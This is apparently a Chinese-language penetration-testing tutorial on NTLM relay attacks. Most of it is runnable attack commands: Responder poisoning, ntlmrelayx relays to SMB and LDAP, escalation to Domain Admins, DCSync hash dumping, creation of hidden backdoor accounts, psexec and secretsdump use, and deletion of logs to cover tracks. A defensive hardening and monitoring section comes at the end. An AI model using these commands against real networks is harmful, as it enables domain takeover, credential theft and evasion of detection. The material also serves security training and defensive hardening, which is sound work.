NTLM Relay 攻击详解
漏洞概述
NTLM Relay 攻击者截获 NTLM 认证流量,中继到目标服务器获取未授权访问。即使不知道密码哈希,也能完成认证。
攻击等级: ⭐⭐⭐⭐⭐
适用场景: 内网渗透、横向移动、权限提升
NTLM 认证流程
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Client │ │ Attacker│ │ Target │
│ (Victim)│ │(Relay) │ │ Server │
└─────────┘ └─────────┘ └─────────┘
│ │ │
│ 1. HTTP 请求 │ │
│───────────────▶│ │
│ │ │
│ 2. 401 + Nonce │ │
│◀───────────────│ │
│ │ │
│ 3. NTLM Auth │ │
│ (Challenge/Resp)│ │
│───────────────▶│ │
│ │ │
│ │ 4. 中继认证 │
│ │───────────────▶│
│ │ │
│ │ 5. Challenge │
│ │◀───────────────│
│ │ │
│ │ 6. 转发 Challenge│
│◀───────────────│ │
│ │ │
│ 7. 响应 │ │
│───────────────▶│ │
│ │ │
│ │ 8. 中继响应 │
│ │───────────────▶│
│ │ │
│ │ 9. 认证成功 │
│ │◀───────────────│
│ │ │攻击前提
必要条件
- SMB 签名未启用 (最常见)
- LDAP 签名未启用
- EAP 未启用保护
- 目标接受 NTLM 认证
检测命令
# 检查 SMB 签名
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature
# 检查 LDAP 签名
Get-DomainPolicy | Select-Object ldapserverintegrity
# nmap 扫描
nmap --script smb-security-mode -p 445 TARGET
nmap --script ldap-rootdse -p 389 TARGET攻击手法
1. SMB Relay
原理: 中继 SMB 认证到另一台服务器。
利用:
# 1. 启用 IP 转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 2. 启动 Responder (监听 LLMNR/NBT-NS)
python3 Responder.py -I eth0 -v
# 3. 启动 ntlmrelayx
python3 ntlmrelayx.py -t smb://TARGET_IP -smb2support
# 4. 受害者访问攻击者
# 自动中继认证
# 5. 获取 Shell
# 如果成功,ntlmrelayx 会显示2. LDAP Relay
原理: 中继 LDAP 认证到域控,获取域权限。
利用:
# 1. 启动 ntlmrelayx (LDAP 目标)
python3 ntlmrelayx.py -t ldap://DC_IP --escalate-user relayed_user
# 2. 触发认证
# 通过 Responder 或恶意链接
# 3. 自动添加用户到域管理员组
# 如果成功,输出:
# [*] User RELAYED_USER added to Domain Admins3. HTTP to SMB Relay
原理: 将 HTTP NTLM 认证中继到 SMB。
利用:
# 1. 启动 ntlmrelayx
python3 ntlmrelayx.py -t smb://TARGET_IP -smb2support
# 2. 诱导访问 HTTP
# 恶意链接:http://ATTACKER_IP/
# 3. 浏览器自动发送 NTLM
# 中继到 SMB 目标4. NTLM to DCSync
原理: 中继认证到域控,执行 DCSync。
利用:
# 1. 启动 ntlmrelayx
python3 ntlmrelayx.py -t ldap://DC_IP --dump
# 2. 触发域用户认证
# 通过 Responder 或恶意页面
# 3. 自动执行 DCSync
# 获取所有用户哈希5. 跨协议 Relay
原理: 不同协议间中继 (HTTP→LDAP, SMB→LDAP)。
利用:
# HTTP to LDAP
python3 ntlmrelayx.py -t ldap://DC_IP -smb2support
# SMB to LDAP
python3 ntlmrelayx.py -t ldap://DC_IP
# LDAP to SMB
python3 ntlmrelayx.py -t smb://TARGET_IP实战案例
案例 1: 内网横向移动
# 1. 信息收集
nmap -sV -p 445,389,80 --script smb-security-mode,ldap-rootdse 192.168.1.0/24
# 2. 识别未签名 SMB
nmap --script smb-security-mode -p 445 TARGET
# 输出:message_signing: disabled
# 3. 启动 Responder
python3 Responder.py -I eth0 -v
# 4. 启动 ntlmrelayx
python3 ntlmrelayx.py -t smb://192.168.1.100 -smb2support
# 5. 等待受害者
# Responder 会广播 poisoning
# 受害者访问恶意资源
# 6. 获取访问权限
# ntlmrelayx 输出:
# [*] Authentication succeeded
# [*] Executing command: whoami案例 2: 域权限提升
# 1. 查找 LDAP 未签名
nmap --script ldap-rootdse -p 389 DC_IP
# 2. 启动 LDAP Relay
python3 ntlmrelayx.py -t ldap://DC_IP --escalate-user attack_user
# 3. 触发认证
# 方法 1: Responder 广播
python3 Responder.py -I eth0
# 方法 2: 恶意链接
# 诱导域用户访问 http://ATTACKER_IP/
# 4. 自动提升权限
# 输出:
# [*] User attack_user added to Domain Admins
# 5. 使用新权限
python3 secretsdump.py DOMAIN/attack_user:password@DC_IP案例 3: 多目标批量攻击
# 1. 准备目标列表
cat targets.txt
smb://192.168.1.100
smb://192.168.1.101
ldap://192.168.1.10
# 2. 启动批量 Relay
python3 ntlmrelayx.py -tf targets.txt -smb2support --dump
# 3. 监控输出
# 成功认证的目标会显示案例 4: 持久化访问
# 1. Relay 获取权限
python3 ntlmrelayx.py -t ldap://DC_IP --escalate-user backdoor
# 2. 创建隐藏账号
# 自动执行
# 3. 后续使用
python3 psexec.py DOMAIN/backdoor:password@DC_IP
# 4. 清理痕迹
# 删除 Relay 日志工具
ntlmrelayx (Impacket)
# 基础用法
python3 ntlmrelayx.py -t smb://TARGET -smb2support
# LDAP 目标
python3 ntlmrelayx.py -t ldap://DC --escalate-user user
# 多个目标
python3 ntlmrelayx.py -tf targets.txt -smb2support
# 执行命令
python3 ntlmrelayx.py -t smb://TARGET -c "whoami"
# Dump 哈希
python3 ntlmrelayx.py -t ldap://DC --dump
# SOCKS 代理
python3 ntlmrelayx.py -t smb://TARGET -socks
# 使用 SOCKS
proxychains python3 psexec.py DOMAIN/user@TARGETResponder
# 监听所有
python3 Responder.py -I eth0 -v
# 仅 LLMNR
python3 Responder.py -I eth0 -L -v
# 仅 NBT-NS
python3 Responder.py -I eth0 -N -v
# 分析模式 (不响应)
python3 Responder.py -I eth0 -A
# 清除日志
rm /opt/Responder/logs/*.logMultiRelay
# Impacket 旧工具
python3 MultiRelay.py -t TARGET -u ALL
# 已被 ntlmrelayx 替代防御建议
加固配置
# 1. 启用 SMB 签名
# 组策略:计算机配置 → Windows 设置 → 安全设置
# 网络安全客户端:数字签名通信 (始终)
# 网络安全服务器:数字签名通信 (始终)
# 注册表
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v RequireSecuritySignature /t REG_DWORD /d 1 /f
# 2. 启用 LDAP 签名
# 组策略:安全选项
# 域控制器:LDAP 服务器签名要求 → 需要签名
# 3. 禁用 LLMNR
# 组策略:计算机配置 → 管理模板 → 网络 → DNS 客户端
# 关闭多播名称解析 → 已启用
# 4. 禁用 NBT-NS
# 网卡属性 → TCP/IPv4 → 高级 → WINS
# 禁用 TCP/IP 上的 NetBIOS
# 5. 启用 EPA (Extended Protection for Authentication)
# IIS 配置监控检测
# 1. 监控异常认证
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} |
Where-Object {$_.Message -like "*NTLM*"}
# 2. 监控 Responder 活动
# 大量 LLMNR/NBT-NS 请求
# 3. 监控异常 LDAP 操作
# 非 DC 机器执行 LDAP 写入
# 4. 网络流量分析
# Wireshark 过滤 NTLM 流量
ntlmssp
# 5. 部署工具检测
# Detect-Responder.ps1
# Inveigh (监控模式)网络隔离
1. 网络分段
- 服务器 VLAN
- 用户 VLAN
- 管理 VLAN
2. 防火墙规则
- 限制 SMB (445) 跨网段
- 限制 LDAP (389) 仅 DC
3. 主机防火墙
- Windows Firewall
- 仅允许必要的连接